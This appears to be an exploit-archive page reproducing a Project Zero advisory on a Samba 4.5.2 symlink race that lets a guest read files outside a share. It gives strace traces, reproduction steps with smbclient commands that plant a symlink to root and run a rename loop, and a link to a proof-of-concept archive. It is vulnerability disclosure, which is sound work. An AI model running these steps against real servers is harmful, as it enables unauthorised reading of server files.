Skip to content
cyberexploits
remotemultipletext

Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory

Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory

Publié le 2017-03-27

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/multiple/remote/41740.txt7eac4c3a
raw
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039



The Samba server is supposed to only grant access to configured share

directories unless "wide links" are enabled, in which case the server is allowed

to follow symlinks. The default (since CVE-2010-0926) is that wide links are

disabled.



smbd ensures that it isn't following symlinks by calling lstat() on every

path component, as can be seen in strace (in reaction to the request

"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):



root@debian:/home/user# strace -e trace=file -p18954

Process 18954 attached

lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0

getcwd("/public", 4096)                 = 8

lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0

stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0

getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)

stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0

open("a/b/c/d/e/f/g/h/i/j", O_RDONLY)   = 35





This is racy: Any of the path components - either one of the directories or the

file at the end - could be replaced with a symlink by an attacker over a second

connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i

with a symlink  to / immediately before the open() call would cause smbd to open

/j.



To reproduce:



 - Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian

   unstable. I'm running the attacks on a native machine while the server is

   running in a VM on the same machine.)

 - On the server, create a world-readable file "/secret" that contains some

   text. The goal of the attacker is to leak the contents of that file.

 - On the server, create a directory "/public", mode 0777.

 - Create a share named "public", accessible for guests, writable, with path

   "/public".

 - As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in

   attack_commands.patch.

 - Build the patched copy of samba-4.5.2. The built smbclient will be used in

   the following steps.

 - Prepare the server's directory layout remotely and start the rename side of

   the race:



   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public

   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it

   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]

   smb: \> posix

   Server supports CIFS extensions 1.0

   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt

   smb: /> ls

     .                                   D        0  Wed Dec 14 23:54:30 2016

     ..                                  D        0  Wed Dec 14 13:02:50 2016



        98853468 blocks of size 1024. 66181136 blocks available

   smb: /> symlink / link

   smb: /> mkdir normal

   smb: /> put /tmp/empty normal/secret # empty file

   putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)

   smb: /> rename_loop link normal foobar



 - Over a second connection, launch the read side of the race:



   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public

   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it

   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]

   smb: \> posix

   Server supports CIFS extensions 1.0

   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt

   smb: /> dump foobar/secret



 - At this point, the race can theoretically be hit. However, because the

   renaming client performs operations synchronously, the network latency makes

   it hard to win the race. (It shouldn't be too hard to adapt the SMB client to

   be asynchronous, which would make the attack much more practical.) To make it

   easier to hit the race, log in to the server as root and run "strace" against

   the process that is trying to access foobar/secret all the time without any

   filtering ("strace -p19624"). On my machine, this causes the race to be hit

   every few seconds, and the smbclient that is running the "dump" command

   prints the contents of the file each time the race is won.





Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41740.zip

Voir sur GitHub